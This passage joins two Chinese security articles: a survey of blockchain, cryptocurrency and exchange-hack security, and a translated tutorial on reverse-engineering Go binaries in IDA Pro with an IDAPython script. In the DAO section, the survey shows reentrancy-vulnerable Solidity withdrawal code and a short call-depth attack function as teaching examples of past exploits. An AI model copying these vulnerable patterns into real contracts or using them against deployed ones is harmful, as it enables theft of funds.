针对区块链来说，账本数据全部公开或者部分公开，强调的是账本数据多副本存在，不能存在数据丢失的风险，区块链当前采用的解决方案就是全分布式存储，网络中有许多个全节点，同步所有账本数据（有些同步部分，当然每个数据存储的副本足够多），这样网络中的副本足够多，就可以满足高可用的要求，丢失数据的风险就会低很多。所以建议部署区块链网络时，全节点尽量分散，分散在不同地理位置、不同的基础服务提供商、不同的利益体等。
### 05 传输安全性
在传输过程中，数据还未持久化，这部分空中数据会采用HTTP+SSL(也有采用websocket+websocketS)进行处理，从而保证数据在网络传输中防篡改且加密处理。
## 0x02 数字货币安全性思考
### 01 BTC
比特币（Bitcoin，代号BTC）是一种用去中心化、全球通用、不需第三方机构或个人，基于区块链作为支付技术的电子加密货币。比特币由中本聪于2009年1月3日，基于无国界的对等网络，用共识主动性开源软件发明创立。比特币也是目前知名度与市场总值最高的加密货币。
#### 比特币区块结构
#### 钱包和交易
比特币钱包的地址就是公钥通过 Base58 算法编码后的一段字符串，使用该算法可以将公钥中的一些不可见字符编码成平时常见的字符。Base58 相对于
Base64 来说消除了非字母或数字的字符，如：“+”和“/”，同时还消除了那些容易产生混淆的字符，如数字 0 和大写字母 O，大写字母 I 和小写字母
l。这一段用作比特币钱包地址的字符串就相当于一个比特币账户。
交易属于比特币中的核心部分，区块链应用到数字货币上也是为提供更安全可靠的交易。交易之前会先确认每一笔笔交易的真实性，如果是真实的，交易记录便会写入到新的区块中去，而一旦加入到区块链中了也就意味着再也不能被撤回和修改。
#### 交易验证流程大概为：
1\. 验证交易双方的钱包地址，也就是双方的公钥。
2\.
支付方的上一笔的交易输出，前面也说到了钱包里面是没有存放你的比特币数量的，而你每一笔交易都会产生交易输出记录到区块链中。通过交易输出可以确认支付方是否能够支付一定数量的比特币。
3\.
支付方的私钥生成的数字签名。如果使用支付方的公钥能解开这个数字签名便可以确认支付方的身份是真实的，而不是有人恶意的使用当前的支付方的钱包地址在做交易。
一旦这些信息都能得到确认便可以将交易信息写入到新的区块中去，完成交易。受比特币区块大小的限制（目前的为 1MB，一笔交易信息大概需要 500
多字节），一个区块最多只能包含 2000
多笔的交易。因为区块链中记录了所有的交易信息，所以每个比特币钱包的交易记录和币的数量都是可以被查到的，但是只要没有对外公开承认钱包地址是属于你的，也不会有人知道一个钱包地址的真实拥有者。
还有一种交易叫做 coinbase 交易，当矿工挖到一个新的区块时，他会获得挖矿奖励。挖矿奖励就是通过 coinbase
交易拿到手的，也一样是需要把交易信息添加到新的区块中去，但是 coinbase 交易不需要引用之前的交易输出。
#### 安全问题
比特币基于区块链，具有去中心化结构，用户通过一个公开的地址和密钥来宣示所有权。某种程度上，谁掌握了这个密钥，谁就实质性地拥有了对应地址中的比特币资产。而区块链的防篡改特征，是指比特币的交易记录不可篡改，而非密钥不会丢失。同时，也正因为区块链不可篡改，密钥一旦丢失，也意味着不可能通过修改区块链记录来拿回比特币。
因此针对比特币的盗币事件屡有发生，主要是通过下面三个手段：
1\. 交易平台监守自盗
2\. 交易所遭受黑客攻击
3\. 用户交易账户被盗
交易平台监守自盗可以向平台索回，但是黑客攻击导致的盗币，很难被追回。因为黑客一旦盗取比特币，接下来便会通过混币等手段进行洗白，除非有国家力量强力介入，否则追回的可能性仅仅停留在理论层面。
### 02 ETH
以太币（Ether，代号ETH）为以太坊区块链上的代币，可在许多加密货币的外汇市场上交易，它也是以太坊上用来支付交易手续费和运算服务的媒介。以太坊（Ethereum）是一个开源的有智能合约功能的公共区块链平台。通过其专用加密货币以太币提供去中心化的虚拟机（称为“以太虚拟机”Ethereum
Virtual Machine）来处理点对点合约。
#### 智能合约
以太坊与比特币最大的一个区别——提供了一个功能更强大的合约编程环境。如果说比特币的功能只是数字货币本身，那么在以太坊上，用户还可以编写智能合约应用程序，直接将区块链技术的发展带入到
2.0 时代。
以太坊中的智能合约是运行在虚拟机上的，也就是通常说的 EVM（Ethereum Virtual
Machine，以太坊虚拟机）。这是一个智能合约的沙盒，合约存储在以太坊的区块链上，并被编译为以太坊虚拟机字节码，通过虚拟机来运行智能合约。由于这个中间层的存在，以太坊也实现了多种语言的合约代码编译，网络中的每个以太坊节点运行
EVM 实现并执行相同的指令。如果说比特币是二维世界的话，那么以太坊就是三维世界，可以实现无数个不同的二维世界。
#### 安全问题
ETH最大的特点就是智能合约，而智能合约漏洞也就导致了ETH的安全问题。
2016年黑客通过The Dao，利用智能合约中的漏洞，成功盗取360万以太币。THE
DAO持有近15%的以太币总数，因此这次事件对以太坊网络及其加密币都产生了负面影响。
The DAO事件发生后，以太坊创始人Vitalik
Buterin提议修改以太坊代码，对以太坊区块链实施硬分叉，将黑客盗取资金的交易记录回滚，得到了社区大部分矿工的支持，但也遭到了少数人的强烈反对。最终坚持不同意回滚的少数矿工们将他们挖出的区块链命名为Ethereum
Classic（以太坊经典，简称ETC），导致了以太坊社区的分裂。在虚拟货币历史上，这是第一次，也可能唯一一次由于安全问题导致的区块链分叉事件。
无独有偶2017年7月19日, 多重签名钱包Parity1.5及以上版本出现安全漏洞,15万个ETH被盗,共价值3000万美元。
两次被盗事件都是因为智能合约中的漏洞。让我们看到，虚拟货币的安全不仅仅是平台和个人，区块链上的应用，也是我们应该关注的内容。
### 03 XMR
门罗币（Monero，代号XMR）是一个创建于2014年4月开源加密货币，它着重于隐私、分权和可扩展性。与自比特币衍生的许多加密货币不同，Monero基于CryptoNote协议，并在区块链模糊化方面有显著的算法差异。
#### 隐蔽地址
隐蔽地址是为了解决输入输出地址关联性的问题。每当发送者要给接收者发送一笔金额的时候，他会首先通过接收者的地址（每次都重新生成），利用椭圆曲线加密算出一个一次性的公钥。然后发送者将这个公钥连同一个附加信息发送到区块链上，接收方可以根据自己的私钥来检测每个交易块，从而确定发送方是否已经发送了这笔金额。当接收方要使用这笔金额时，可以根据自己的私钥以及交易信息计算出来一个签名私钥，用这个私钥对交易进行签名即可。
#### 环签名
隐蔽地址虽然能保证接收者地址每次都变化，从而让外部攻击者看不出地址关联性，但并不能保证发送者与接收者之间的匿名性。因此门罗币提出了一个环签名的方案——事实上，在古代就已经有类似的思想了：如图5所示，联名上书的时候，上书人的名字可以写成一个环形，由于环中各个名字的地位看上去彼此相等，因此外界很难猜测发起人是谁。这就是环签名。
除了交易地址，交易金额也会暴露部分隐私。门罗币还提供了一种叫做环状保密交易（RingCT）的技术来同时隐藏交易地址以及交易金额。这项技术正在逐步部署来达到真正的匿名。这项技术采用了多层连接自发匿名组签名（Multi-layered Linkable Spontaneous Anonymous Group signature）的协议。
#### 安全问题
比特币交易私密性方面做的不太好，关于货币隐私的两个基本属性：
1\. 不可链接性（Unlinkability）：无法证明两个交易是发送给同一个人的，也就是无法知道交易的接收者是谁。
2\. 不可追踪性（Untraceability）：无法知道交易的发送者是谁。
比特币交易要发送地址信息，很明显不符合之上的要求。门罗币通过隐蔽地址来保证不可链接性，通过环签名来保证不可追踪性，从而给用户的交易信息提供了很好的隐私性。另一方面，比特币挖矿主要依赖于大量专业化的专用集成电路（ASIC）。它的算法在ASIC上的运行速度远超于在标准家庭电脑或者笔记本电脑上运行。相比之下，门罗币的挖矿算法要精良得多。它并不依赖于ASIC，使用任何CPU或GPU都可以完成，这就意味着门罗币具有更低的挖掘门槛。
门罗币的这些特性，使其成为黑产挖矿的不二之选。过去的一段时间，出现了许多以门罗币挖矿为目的的网络攻击事件。
### 04 小结
在以太坊这种平台区块链上，如果运行智能合约，应用程序出现漏洞，同样也会威胁其上的数字资产。
以太坊解决了比特币的单应用的局限，使得区块链像一个操作系统，开发者可以在其上搭建自己的“应用”。门罗币降低了挖矿的门槛，同时又满足了交易私密性需求。这些特性都符合黑产的需要，过去的一段时间，以门罗币挖矿为目的的网络攻击事件时有发生。
## 0x03 交易平台安全性思考
随着区块链技术的迅速发展,使得虚拟货币渐渐走入的大众的视线。随之而来的就是大量的虚拟币交易平台。虚拟货币交易平台就是为用户提供虚拟货币与虚拟货币之间兑换的平台，部分平台还提供人民币与虚拟货币的p2p兑换服务。现在交易平台平均每天的交易额都是数以亿计，然而交易平台背后的经营者能力与平台的自身的安全性并没有很好的保障。从14年至今据不完全统计，单纯由于交易所安全性导致的直接损失就达到了1.8亿美元之多。
随着虚拟币的水涨船高，交易所就成了黑客们的首要目标，据统计入侵一家交易所给黑客带来的直接利益大约1000万美元左右，然而交易所的安全性参差不齐和各个国家对这类平台基本都暂时没有好的管控策略，这给黑客带来了很大的便利，同时也直接威胁着用户的资金安全。
### 01平台被黑事件回顾
* **比特儿(Bter.com) 比特币交易平台被盗事件**
2014-08-15
事件简介：
比特儿是一家中国的山寨币交易所。NXT等山寨币都在上面交易。
由于POS币的钱包必须上线运行才能获取利息。因此NXT钱包必须在线运行，给了入侵的机会。POS币不能冷钱包保存，暴露出POS的重大安全隐患。黑客盗走NXT后与平台方通过交易留言进行了谈判：
并要求平台方支付BTC作为赎金换回NXT
最终平台支付了110个BTC，却未能完全赎回NXT，只能要求社区回滚NXT的交易区块。
本次比特儿被黑是历史上第一次完全公开展现的网络犯罪，暴露出交易平台和数字货币在当时没有监管野蛮生长的严肃问题。
* **以太币组织The DAO被黑事件**
2016-06
事件简介：
以太币的去中心化组织The
Dao被黑，价值逾5000万美元的以太币外溢出DAO的钱包。以太币（ETH）市场价格瞬间缩水，从记录高位21.50美元跌至15.28美元，跌幅逾23%。
在此前的智能合约写法中，有三个严重漏洞，黑客也正是利用这几个漏洞攻击The DAO窃取以太币。
* **fallback** **函数调用**
向合约地址发送币有两种写法：
address addr = 地址;
if (!addr.call.value(20 ether)()) {
throw;
}
address addr = 地址;
if (!addr.send(20 ether)) {
throw;
}
二者都是发送20个ether，都是一个新的message call，不同的是这两个调用的gasli mit不一样。send()给予0的gas（相当于
**call.gas(0).value()()** )，而 **call.value()()**
给予全部（当前剩余）的gas。当我们调用某个智能合约时，如果指定的函数找不到，或者根本就没指定调用哪个函数（如发送ether）时，fallback函数就会被调用。
当通过 **addr.call.value()()**
的方式发送ether，和send()一样，fallback函数会被调用，但是传递给fallback函数可用的气是当前剩余的所有gas，如果精心设计一个fallback就能影响到系统，如写storage，重新调用新的智能合约等等。
* **递归调用**
一段用户从智能合约中取款的代码如下：
function withdrawBalance() {
amountToWithdraw = userBalances[msg.sender];
if（ amountToWithdraw > 0) {
if (!(msg.sender.call.value(amountToWithdraw)())) {
throw;
}
userBalances[msg.sender] = 0;
}
}
如果付款方的合约账户中有1000个ether，而取款方有10个ether，此处就有严重的递归调用问题，取款方可以将1000个ether全部取走。
* **调用深度限制**
合约可以通过message call调用其他智能合约， 被调用的合约继续通过message call在调用其他合约，这样的嵌套调用深度限制为1024。
function sendether() {
address addr = 地址;
addr.send(20 ether);
var thesendok = true;
}
如果攻击者制造以上的1023个嵌套调用，之后再调用 **sendether()** ，就可以让 **add.send(20 ether)**
失效，而其他执行成功：
function hack() {
var count = 0;
while (count < 1023) {
this.hack();
count++;
}
if (count == 1023) {
thecallingaddr.call("sendether");
}
}
在DAO的代码中：
function splitDAO(uint _proposalID, address _newCurator) noEther onlyTokenholders returns(bool _success) {
...
uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply;
if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) throw;
...
withdrawRewardFor(msg.sender);
totalSupply -= balances[msg.sender];
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;
}
当合约执行到 **withdrawRewardFor(msg.sender);** 进入到函数 **withdrawRewardFor** 判断
function withdrawRewardFor(address _account) noEther internal returns(bool _success) {
...
if(!rewardAccount.payOut(_account, reward)) //漏洞代码
throw;
...
}
payOut定义如下:
function payOut(address _recipient, uint _amount) returns(bool) {
...
if(_recipient.call.value(_amount)) //漏洞代码
PayOut(_recipient, _amount);
return true;
} else {
return false;
}
}
和此前的举例类似，DAO通过 **addr.call.value()()** 发送以太币而没有选择 **send()**
从而黑客只需要创建fallback再次调用 **splitDAO()** 即可转移多份以太币，PoC如下:
p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender)
The DAO事件给整个以太坊社区带来了重大影响，也导致了之后的硬分叉和ETC(以太经典)的剥离。
* **Bitfinex** **遭黑客攻击事件**
2016-08
**事件简介：**
Bitfinex是交易比特币、ether和莱特币等数字货币的最大交易所之一。
根据Bitfinex在8月2日凌晨发布的公告，该交易所在发现了一个安全漏洞后便停止了交易。发布在官网上的声明表示：
Bitfinex负责社区和产品开发的主管塔克特(Zane
Tackett)证实，119,756个比特币遭窃，该公司已经知道相关系统是如何被入侵的。以周二的价格计算，失窃比特币价值约6,500万美元，受此消息影响，全球比特币价格应声下跌25%。
随后Bitfinex官网发布公告称这次损失将由平台上所有用户共同承担，这将导致每位用户的账户平均损失36%
对于类似比特币这样的数字货币，由于是通过数学算法挖矿形成，与实体质地的纸币不同，这些数字货币交易的安全性就完全体现在交易所的风险控制能力以及防黑客能力上。
* **Parity** **多重签名钱包被盗事件**
2017-07
**事件简介：**
Parity是一款多重签名钱包，是目前使用最广泛的以太坊钱包之一，创始人兼CTO 是以太坊前CTO黄皮书作者Gavin Woods。
7 月 19 日，Parity发布安全警报，警告其钱包软件1. 5 版本及之后的版本存在一个漏洞。据该公司的报告，确认有150，000ETH(大约价值
3000 万美元)被盗。据Parity所说，漏洞是由一种叫做wallet.sol的多重签名合约出现bug导致。后来，白帽黑客找回了大约377,000
受影响的ETH。
本次攻击造成了以太币价格的震荡，Coindesk的数据显示，事件曝光后以太币价格一度从235美元下跌至196美元左右。此次事件主要是由于合约代码不严谨导致的。我们可以从区块浏览器看到黑客的资金地址:
可以看到，一共盗取了153,037 个ETH，受到影响的合约代码均为Parity的创始人Gavin Wood写的Multi-Sig库代码。通过分析代码可以确定核心问题在于越权的函数调用，合约接口必须精心设计和明确定义访问权限，或者更进一步说，合约的设计必须符合某种成熟的模式，或者标准，合约代码部署前最好交由专业的机构进行评审。否则，一个不起眼的代码就会让你丢掉所有的钱。
* **USDT** **发行方Tether遭受黑客攻击事件**
2017-12
**事件简介：**
Tether公司是USDT代币的发行公司——USDT是一种与美元挂钩的加密货币，如今正在被交易所广泛用于进行交易。该公司在公告中声称其系统遭受攻击，已经导致价值3000万美元的USDT代币被盗。
被盗的代币不会再赎回，但Tether公司表示他们正在试图恢复令牌，以确保这些交易所不再交易或引入这些被盗的资金，不让这些资金回到加密货币经济。此次被黑事件后，比特币的价格下降了5.4%，是11月13日以来的最高纪录。然而，Tether被盗声明一出，国外社区有用户认为，该地址中被盗的3000万美元只是Tether掩耳盗铃的第一步。实际面临的兑付危机远远不止3000万美元。此次事件不仅单纯的一次虚拟币被盗事件同时导致了Tether的信任危机。
* **Youbite** **交易所被入侵事件**
2017-12-19
**事件简介：**
12月19日，韩国数字货币交易所Youbite宣布在当天下午4时（北京时间3时）左右，交易平台受到黑客入侵，造成的损失相当于平台内总资产的17%。
这家平台是韩国一家市场份额较小的数字货币交易平台，在今年4月，这家平台也曾经遭受过黑客攻击，损失了近4000个比特币。
Youbit表示，在4月份遭遇黑客攻击之后，其加强了安全策略，将其余83％的交易所资金都安全地存放在冷钱包里。尽管如此，运营该交易所的公司Yaipan还是于本周二申请了破产，并停止了平台交易。公告显示，该交易所将所有客户的资产价值减记至市场价值的75%，客户可立即提取这部分资产。该公司表示，将在破产程序结束时偿还剩余的资金，届时将提出保险索赔并出售公司的经营权。
### 02小结
虚拟币的火热，直接搅动着金融市场与科技市场，也面临着各种安全问题。现在各个国家也开始对区块链市场与虚拟币市场相继出台政策与治理方案，对交易所也开始纳入管控范围，韩国前段时间对其国家7家大型交易所进行了安全测试均被成功入侵，但每个交易所每天交易量是数以亿计的。可见这类安全问题不是个例，作为虚拟币交易平台，是否有资质有能力保护在线虚拟货币的安全性成为一个值得考究的问题，虚拟币已经渐渐的从网络进入到现实世界中，然而这个过程的进步同样带来了很大的隐患，这也促使着政府企业以及个人对交易平台以及虚拟币本身更加的慎重选择与投入。
## 0x04 区块链在安全行业的应用
区块链社区非常活跃，人们经常认为，这项技术不仅有效地推动了虚拟货币的发展，而且还加强了现有的安全解决方案，从区块链角度解决了一些安全问题。
列举几个区块链技术的安全用途：
### 01 更安全的认证机制
根据区块链技术的特性，设备可以以对等的方式识别和交互，而不需要第三方权威。伴随着双重身份验证，伪造数字安全证书成为不可能，使得网络结构具有更好的安全性。比如应用到密码验证服务，物联网设备认证。
### 02 更安全的数据保护
在基于区块链的系统中，存储的元数据分散在分布式账本中，不能在一个集中点收集，篡改或者删除。其中的数据，具有更好的完整性，可靠性以及不可抵赖性。可以应用到公共数据存储场景，比如产权记录，金融记录。
### 03 更安全的基础设施
利用区块链分布式特性，可以提供一种分散式平台，通过这种系统，可以访问和利用共享的带宽，这种方式远优于带宽有限的单服务器集中模型。去中心化的平台可以降低DDoS成功的风险，更好的保护基础设施。比如网站，DNS解析服务等。 | 社区文章 |
# Go二进制文件逆向分析从基础到进阶——itab与strings
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 书接前文，本文介绍 Go 语言二进制文件中的 `<Interface, type>` 映射表和字符串信息，以及如何定位并解析它们。
**传送门** ：
1. [Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)
2. [Go二进制文件逆向分析从基础到进阶——MetaInfo、函数符号和源码文件路径列表](https://www.anquanke.com/post/id/215419)
3. [Go二进制文件逆向分析从基础到进阶——数据类型](https://www.anquanke.com/post/id/215820)
## 9\. Interface 映射表(itab_link)
### 9.1 概念介绍
在 Go 语言的规范中，Interface(接口) 用来定义一组行为(Interface Methods)，所有实现了这一组行为的其他类型，都可称之为
**实现了这个接口** 。Go 语言中 Interface 的用法还算是有些难点的，比如 **空接口** 的用法、以及更复杂一些的基于 Interface
实现的面向对象的 **多态** 特性。
前文《[Go二进制文件逆向分析从基础到进阶——数据类型](https://www.anquanke.com/post/id/215820)》中已经阐述过
Interface 类型的底层定义：
type interfaceType struct {
rtype
pkgPath name // import path
methods []imethod // sorted by hash
}
type imethod struct {
name nameOff // name of method
typ typeOff // .(*FuncType) underneath
}
其实，在 Go 二进制文件中，还保留了 Interface 与实现 Interface 的其他类型之间的映射关系。每一组映射关系，叫 **itab**
(Interface Table)， **itab** 的结构如下：
// Interface table
// Refer: https://golang.org/src/runtime/runtime2.go
type itab struct {
inter *interfacetype
_type *_type
hash uint32 // copy of _type.hash. Used for type switches.
_ [4]byte
fun [1]uintptr // variable sized. fun[0]==0 means _type does not implement inter.
}
其中有 3 个关键字段：
1. 第 1 个 **inter** ，指向一个 Interface 类型的定义；
2. 第 2 个 **_type** ，指向一个普通数据类型的定义信息，这个 **_type** 实现了上面指定的 Interface；
3. 第 5 个 **fun** ，指向一组方法，是上面第 2 个字段 **_type** 中具体实现的 Interface 中定义的方法。
### 9.2 itab 实例
在 IDAPro 中， **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个 itab
项如下：
上图表明， **[package net](https://golang.org/pkg/net/?m=all#Addr)** 中定义了一个 **Addr
Interface** ，其中包含 2 个方法：`Addr.Network()` 和 `Addr.String()`：
在 IDAPro 中， **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的 **Addr
Interface** 定义如下：
相应地， **[package net](https://golang.org/pkg/net/?m=all#TCPAddr)** 中另一个数据结构
**TCPAddr** 实现了上述 **Addr Interface** 。官方文档如下：
在 IDAPro 中， **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的
`net.TCPAddr` 类型定义如下：
可以看到，`net.TCPAddr` 这个数据类型绑定了 7 个方法，其中 2 个可导出的方法分别是 `Network()` 和 `String()`
，正是这两个方法实现了 `net.Addr` Interface。
至于 **itab** 在 Go 二进制文件中是如何使用的？既然有了具体类型的定义，直接用具体类型不就可以了吗，为什么还要绕一圈映射一下实现的
Interface？如果有这类疑问，建议在 IDAPro 中打开一个 Go 二进制文件，找到某个 **itab** 结构的定义，以及通过交叉引用在
IDAPro 中这个 **itab** 是如何被调用的，再结合 Go 源码对照着看一下，应该能有所收获。
### 9.3 查找并解析 itab
上文介绍了单个 itab 的概念与结构解析，而一个 Go 二进制文件中可能存在几百甚至上千组 Interface 与具体数据类型的映射关系，即几百甚至上千个
itab 结构，如何把它们都找出来并一一解析呢？
首先需要说明的是，解析 itab 这个工作，依赖于前文介绍的解析所有数据类型定义的结果。解析了每一个数据类型的定义之后，才能知道每个 itab 结构中的
Interface 和具体数据类型的定义。
在本系列第二篇
《[Go二进制文件逆向分析从基础到进阶——MetaInfo、函数符号和源码文件路径列表](https://www.anquanke.com/post/id/215419)》中介绍
**firstmoduledata** 这个结构时，提到过这个结构里的一个字段： **itab_link** ，并解释说 **itab_link** 指向
Go 二进制文件中的 Interface 映射表。分析过 Go 二进制文件的师傅可能注意过， **itab_link** 这个结构通常会在 ELF
文件中一个单独的 Section，就叫 **`.itablink`** 。然而我前文也说过，通过文件头中的 Section 来定位 Go
二进制文件中的关键数据并不靠谱，尤其是面对 ELF/PE/MachO 以及 PIE 这些不同文件类型的复杂情况，甚至 Section
信息被篡改甚至抹除时，更是如此。最靠谱的方式就是通过 **firstmoduledata** 中的字段来按图索骥，定位到各个关键数据结构的位置。
从 **firstmoduledata** 结构中 **itab_link** 字段定位到的 **itablink** ，其实就是一个 itab
结构的地址列表， **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的
**itablink** 如下(一部分)：
其中每一项，都是一个 **itab** 结构的地址。每个 itab 结构体的命名规则，都是 **(前缀)go_itab + 实际类型名 +
Interface 名** 。最后， **firstmoduledata** 中也标明了 **itablink** 结构中 **itab**
地址的数量，所以根据 **itablink** 的起始地址和数量，依次解析相应的 **itab** 即可。
## 10\. 字符串
### 10.1 字符串简介
Go 语言中，string 类型是 **值类型** (相对于 **引用类型** )，是 Go
支持的基础类型之一。一个字符串是一个不可改变的字节序列，字符串可以包含任意的数据，但是通常是用来包含可读的文本，字符串是 UTF-8
字符的一个序列（当字符为 ASCII 码表上的字符时则占用 1 个字节，其它字符根据需要占用 2-4 个字节）。
Go 中字符串底层由两个元素来定义： **字节序列的地址** 和 **字节序列的长度** ，而不是像 C 语言那样以一个起始地址和 `0x00`
结尾就能表示一个字符串。在 Go
二进制文件中，操作一个字符串也要同时引用这两个元素。比如某函数需要一个字符串类型的参数，传参时就要在栈上的参数空间留两个位置，一个位置把相应字节序列的地址传进去，另一个位置把字节序列的长度传进去。字符串类型的返回值操作同理。
在静态逆向分析 Go 二进制文件时，把 Go 二进制文件加载到 IDAPro
中查看反汇编出来的代码时，在操作字符串的汇编代码片段中，最多只能看到目标字符串的长度，而字符串还是处于未分析的原始字节序列的状态。大量的字符串处于这种状态时，会使逆向分析变得很费劲，很大程度上拉低逆向分析的效率。所以我们要想办法把这些字符串尽量都解析出来，然后在引用这个字符串的汇编代码处打
Comment 或者加上 Data Reference，就会让逆向工作的效率提升一个台阶。
刚加载进 IDAPro 中的 Go 二进制文件，引用未解析的 **字符串字面量** 的汇编代码片段如下：
经过 **[go_parser](https://github.com/0xjiayu/go_parser)** 的解析，效果就会很直观了：
在 Go
二进制文件中，字符串整体上是按照长度依次存放在一个特定区域的。然而这个区域的起始地址、长度等属性没有固定的索引，所以无法像定位其他结构一样定位到所有字符串并一一解析。能用的办法，就是
**分析调用、操作字符串的的汇编指令片段的
Pattern，然后从所有汇编指令中暴力检索可能操作字符串的位置，提取到相应字符串的地址与长度进而解析能够查找到的字符串** 。
Go 二进制文件中的字符串，按照存放和引用方式，可以分为三种：
* 字符串字面量，通常来说字符串常量(包括命名常量和未命名的字面常量)都会用这种形式；
* 字符串指针，字符串变量和一部分字符串常量会用这种形式。
* 字符串数组/切片
这三种类型的字符串存取方式，从操作字符串的汇编代码片段来看，Pattern 不同，解析方法也不同，下文一一介绍。
### 10.2 字符串字面量
上面 10.1 小节的截图中介绍的例子，就是 **字符串字面常量**
。操作字符串字面量的汇编代码，会直接引用字节序列的地址，然后把字符串的长度当作汇编指令的一个立即数来使用。不过，根据不同的 CPU
位数、目标寄存器的不同，这样的汇编代码片段的 Pattern 有多种。
**[go_parser](https://github.com/0xjiayu/go_parser)** 中可以解析的 x86 汇编指令 Pattern
如下：
mov ebx, offset aWire ; "wire" # Get string
mov [esp], ebx
mov dword ptr [esp+4], 4 # String length
mov ebx, offset unk_8608FD5 # Get string
mov [esp+8], ebx
mov dword ptr [esp+0Ch], 0Eh # String length
mov ebx, offset unk_86006E6 # Get string
mov [esp+10h], ebx
mov dword ptr [esp+14h], 5 # String length
mov ebx, 861143Ch
mov dword ptr [esp+0F0h+var_E8+4], ebx
mov [esp+0F0h+var_E0], 19h
# Found in newer versions of golang binaries
lea rax, unk_8FC736 ; str bytes addr
mov [rsp+38h+var_18], rax
mov [rsp+38h+var_10], 1Dh ;str len
lea rdx, unk_8F6E82 ; str bytes addr
mov [rsp+40h+var_38], rdx
mov [rsp+40h+var_30], 13h ; str len
lea eax, unk_82410F0 ; str bytes addr
mov [esp+94h+var_8C], eax
mov [esp+94h+var_88], 2 ; str len
如此一来，就看一参考如上代码片段的 Pattern，暴力搜索所有代码中符合以上 Pattern 的代码片段，并尝试解析字符串信息。
**[go_parser](https://github.com/0xjiayu/go_parser)** 的 string 解析模块，大部分代码从
**[golang_loader_assist](https://github.com/strazzere/golang_loader_assist)**
移植而来，目前只支持 x86 架构的二进制文件。如果有师傅有兴趣实现一下 ARM/MIPS/PPC 等架构二进制文件的字符串解析功能，欢迎提 PR。
### 10.3 字符串指针
Go 二进制文件中的字符串指针则是另一种形式，在 IDAPro 中看，主要有 3 点特征：
1. 汇编代码中引用字符串时，不会直接引用字符序列的地址，而是会引用存放字符串地址的地址（字符串指针）；
2. 汇编代码中可能会用到字符串的长度，但不会把字符串的长度作为汇编指令的立即数，而是把字符串长度的数值存到一个位置，汇编代码只引用存放字符串长度的地址；
3. 字符串长度的地址，紧挨着字符串指针后面存放。
下面是 **[go_parser](https://github.com/0xjiayu/go_parser)** 解析好的一个字符串指针的用法：
上面那种形式，可以用 IDAPython 在 IDAPro 中暴力搜索并解析如下 Pattern 的汇编指令片段来解析：
mov rcx, cs:qword_BC2908 ; str len
mov rdx, cs:off_BC2900 ; str pointer
mov [rsp+0A8h+var_90], rdx
mov [rsp+0A8h+var_88], rcx
call func
而还有一种方式，Pattern 不明显，不便自动化解析。举个例子，如下是 `package bufio` 中 Reader 的 `fill()` 方法：
可以发现 `runtime_gopanic()` 函数调用字符串的时候传入了一个 **string**
类型，和字符序列的地址，并未指定字符串的长度。对应的[源码实现](https://golang.org/src/bufio/bufio.go?s=2408:2431#L96)如下，可以对比着看一下
：
对于这种形式的字符串指针，只好另寻他法。好在 Go 二进制文件中的字符串指针也是集中存放在一个固定区域中的。如下，是这一块区域的开头部分：
我们可以手动在 IDAPro 中找到这一块区域的起始地址、终止地址，然后手动执行以下 IDAPython 脚本，即可批量把所有字符串指针解析出来。如果是用
IDAPro v7.2 及以上版本，那么 IDAPro 会自动为这些字符串指针引用的指令加上 Data Reference。IDAPython 脚本如下：
#!/usr/bin/env python
# -*- coding: UTF-8 -*- '''
go_parser.py:
IDA Plugin for Golang Executable file parsing.
'''
__author__ = "JiaYu"
__license__ = "MIT"
__version__ = "1.0"
__email__ = ["[email protected]"]
import idc, idaapi
idaapi.require("common") # common module in go_parser
START_EA = 0x98C710
END_EA = 0x990F58
curr_addr = START_EA
while curr_addr <= END_EA:
curr_str_addr = common.read_mem(curr_addr)
curr_str_len = common.read_mem(curr_addr + common.ADDR_SZ)
if curr_str_addr > 0 and curr_str_addr != idc.BADADDR and curr_str_len > 1:
if idc.MakeStr(curr_str_addr, curr_str_addr + curr_str_len):
idaapi.autoWait()
curr_str = str(idc.GetManyBytes(curr_str_addr, curr_str_len))
print("@ 0x%x: %s" % (curr_str_addr, curr_str))
curr_addr += 2 * common.ADDR_SZ
> **Note:**
>
> 上面这段代码已同步到 **go_parser** 的 Github Repo:
> <https://github.com/0xjiayu/go_parser/blob/master/str_ptr.py>
另外一个可以考虑的思路，是遍历上面提到的 `string` 类型定义的交叉引用，然后看看有没有如上的汇编指令片段的 Pattern。如果一段汇编代码中拿
`string`
类型定义去解析一个字符串，那么就可以顺藤摸瓜找到字符串指针，字符串指针的地址后面紧挨着就是字符串的长度，这样也可以把字符串解析出来。感兴趣的师傅可以验证一下。
### 10.4 字符串数组
字符串数组，在 Go 二进制文件里的展示方式，比上面的情况要再多“跳转”一步：整个数组用 **元素起始地址** 和 **数组长度**
两个元素来表示，而元素的起始地址处则依次存放了每一个字符串的地址和长度。语言描述不易理解，且看实例。以 `package mime` 中的
`initMimeUnix()`
函数为例，[源代码](https://golang.org/src/mime/type_unix.go?s=910:929#L41)如下：
var typeFiles = []string{
"/etc/mime.types",
"/etc/apache2/mime.types",
"/etc/apache/mime.types",
}
func initMimeUnix() {
for _, filename := range typeFiles {
loadMimeFile(filename)
}
}
而在 IDAPro 中来看，就是如下的样子：
Go
语言二进制文件中，所有的数组，无论数组中元素是什么类型，都是集中存放的，很难从这些存放数组元素的数据块中区分出哪些书字符串数组，哪些是别的类型的数组（比如
int 类型的数组）。而汇编代码中引用字符串数组的代码片段又没有很强的 Pattern，所以难以自动化地把这些字符串数组都解析好并在 IDAPro
中友好地展示出来。
可以考虑上面 **半自动化** 解析 **字符串指针** 的做法，在 IDAPro 中手动定位到一批字符串数组的位置，然后写几行 IDAPython
脚本将这些字符串数组批量解析。有兴趣的师傅不妨动手试一试。
至此，我们就可以把 Go 二进制文件中的字符串，在 IDAPro
中部分自动化的解析、部分半自动化地解析出来。之后再去看汇编代码，涉及字符串的操作就会一目了然。
## 参考资料：
1. <https://github.com/0xjiayu/go_parser>
2. <https://golang.org/src/mime/type_unix.go>
